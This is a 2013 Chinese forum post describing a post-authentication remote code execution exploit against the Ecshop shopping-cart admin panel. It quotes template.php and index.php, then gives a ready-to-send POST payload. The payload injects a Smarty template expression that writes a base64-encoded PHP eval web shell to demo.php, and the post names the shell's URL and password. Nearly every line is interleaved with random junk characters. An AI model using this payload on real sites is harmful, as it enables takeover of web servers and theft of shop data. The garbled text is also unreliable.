找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2301|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 S: r& y) Q9 W. ]4 q2 X' H$ A, X) r$ G& l& M: H$ a/ s/ h3 `
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 u* ^" D9 K0 d4 e$ f但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 r9 L  I8 _+ ^4 i
admin/template.php% `9 g6 Y, {8 V& b' v! v1 Z
' w+ v: C7 \' u6 t
1 if ($_REQUEST['act'] == 'update_library')
5 v% z: T& L4 z' b
9 I. N) }9 d- i: G% w3 S2   6 ], x* \/ `7 Y9 U: L* b

2 r) g" n& [/ C. W7 H" t! ~3 { 4 w9 U9 z# O! T" y
' q$ ^4 K0 i8 [6 D+ R9 i
4     check_authz_json('library_manage'); 1 g, r" N$ E2 f2 d

* c% }3 M2 b! O- c5   ( b; A! [3 j( i6 A9 q
' \* k# z( Y) _% d; L0 P% v
6     $html = stripslashes(json_str_iconv($_POST['html'])); ) i% _% n+ Q" ~8 q- |( U

# j1 W, t* r; z/ F7   
% U( }4 W' Q/ ~! Y7 v+ t) _% W1 m& g
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ) P$ x! I$ d# X) c# C
8 F) |6 n/ h- J# d. k, X
9   
1 t1 m8 R! ]  _, Z! W* c' m: ]! W8 G/ z9 H5 ]
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% k, E) X0 b' r1 A* Q+ m4 E* O- g, x; B" q+ o0 w+ c$ N2 j' |
11   
4 }% o) e2 C) P) V! q6 d
# }1 M( `  V/ y1 M8 U7 L12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 6 l3 [& a0 _# m; W
5 ^3 e; `7 r: l" M
13   ! W* ?+ f+ P3 M" v9 H

0 p  Y( B( z' x4 }# E4 X14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 * s6 b% |/ B1 C5 p7 C

; m3 n/ Q  m2 h8 Z: f+ E1 U15     { 7 z* n1 h4 T9 t5 k

7 W- l$ L; `  F; O* [, C16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
$ K" H# C7 \* L* `1 X6 l9 S9 h& e5 [& P) i3 q2 E: T
17         make_json_result('', $_LANG['update_lib_success']); ; }  [# e- {6 }. }
! J6 Q5 r1 Y0 U' d, ~" t
18     } & e* W/ [* q9 a& Y5 S& y, S
. t! r4 z: J$ e3 M3 J' O
19     else 5 J# j; \0 P: H0 X7 X. n0 p8 X

% B  x0 r0 z6 P+ ^$ w1 D20     {
) W2 b. v: i* A" \$ l  P9 E
5 z0 s) f( B5 H; a/ E, R+ l! M21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 |/ x: v' B8 G4 F2 R9 {* c# P1 s9 n2 v. M- @
22     }
, A$ ~8 f5 t0 F2 a1 Q1 e- k5 ?# ~! q# V. S
23 } 8 |- q* e( P. g$ d
8 M4 X. D3 a( z" _1 U' c
那么找个比较方便调用了模板的文件$ a  j+ B, N3 W; p( M, p
index.php
, ^  m! T' x* u/ }8 {3 d, m& L& K8 c) j. ^, a4 Z
1 if ($act == 'cat_rec')
0 j" [( N: Y; C9 w) M& D
" \  N4 U. [, Z0 f( l2   
9 {9 Q. A1 N) G  s# }
  j- H4 M3 H1 c# Y. d3 {
, ^( X' B- G6 B& c0 W" k3 N! @$ ]: C, t3 [( w
4   
6 K% c! z$ Y0 F1 K* Y- H: R+ t! B* z2 E  R+ H) |! \5 Q1 O; V
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
  C4 b: a3 r) ~- I7 q7 E7 v0 }: n
6   7 ^2 h$ P" h& i& U! g2 [
2 T2 ~& x( f. H! R% v
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
9 p  l9 x. c& ^. {4 q9 W# f0 a' T2 N$ y
8   
/ M7 o) ^/ U) e# B) p- _  r# i, E; `+ N( n' J& {, G
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 S. ]" ]  o+ g- \7 p$ X4 a
7 ~* E+ [3 r2 h4 s- n1 k2 F
10   
% e* D! D! U/ r6 H# U5 \) P# x7 c3 u5 ^
11     include_once('includes/cls_json.php'); # Q7 x0 X* P. u
, r: G2 @4 o6 p3 P4 l( z
12   
( h* v0 u6 ]: y" A5 n2 T: Y: y
' V/ a4 }; E5 Y13     $json = new JSON; ' p' O3 z( d6 C# R0 S

; K2 m+ q: `3 ]: e, t" t, a& E. |14   
) ~  h# Q* @, ~; d& }7 t8 u
& |: O  J" _' ^) f9 T7 ?15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); & G% r9 L% _& c8 d/ y( x$ {

: D; [) s# q6 c4 I/ Z% ?8 P7 h16   
% X3 }( z, _( S$ {0 Z0 v
1 M2 [/ [. q+ A! L; y, E17     $children = get_children($cat_id); , x8 ~5 \  Z3 F2 |% }  ]- s7 l
3 B, ]& X; m+ J4 N
18   
, ~9 H1 S( t5 V' X/ p" ]% X7 a" d2 B) |  K9 ]
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 2 L, X- f. E$ }; W& L0 _

1 `3 ?/ |( ~+ y9 Z4 w6 B/ s20   
- W2 ]- `! a; u. v* c6 a
" }3 p, J: a* O0 @9 k+ o* T3 J21     $smarty->assign('cat_rec_sign', 1); / S8 l8 x, \; S% r; X

5 M+ m; k. D9 o22   
& p8 ~2 V3 }0 w1 {( z+ ?: l! L
% ?" b+ b. M$ Q$ i23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, c- y/ ~  [8 d1 o8 Y/ T) `% }1 Z: T3 N+ t/ W' ?; ^/ F
24   
# S  N% x, M; @8 k% \& P4 ^5 i. h' n. R' c6 g- k8 B
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & w6 T. O0 L/ Q: G0 F  L8 n
# y0 O( M' d( O7 _8 d; o
26   - r! s; h9 o# W! ^3 B, A! l. `
* S: d% I" T0 T2 I7 h& D
27         echo $rec_array[$rec_type];
2 x: N# M  p/ l. \$ D( B4 v0 v/ D% T7 Y" T. O, p
28   + q1 ?0 @" @- U* P/ A. M$ L+ ]

# m3 P# {4 r" @  K, I29     die($json->encode($result));
5 b2 t# ^* }" m  W0 `; T: X
; [  u( D# b, O- w- N30   
9 U. w: U* F' F$ Q8 r# D# O: z( A" O% ]9 r3 K  Z, B
31 }   X  M) N( P1 d% F# c& v3 g

# }" C2 c5 F" i* h那么就有利用方法了
1 [6 p3 p6 ~- Apost包到http://localhost/ec/admin/template.php?act=update_library
" _4 E/ o: F6 Y* rPost内容:
+ @, j5 W; t% V
, l! m4 g  I1 c
& ~. Q1 G) R; W, y: i/ b& u1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
1 y. q( p* ^3 _$ [  V$ I& Z* e& B6 M0 O3 t3 n9 _
然后访问http://localhost/ec/index.php?act=cat_rec3 i' Q6 z% G9 T$ J. k* l7 o

, d7 _  v. M* jshel地址:http://localhost/ec/demo.php
5 w, X7 Y; R$ ]2 D; k; s) l0 V密码c/ z* c3 k% f1 X. U: ^& m
) B6 ]% q* n9 i/ `# K4 [) v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表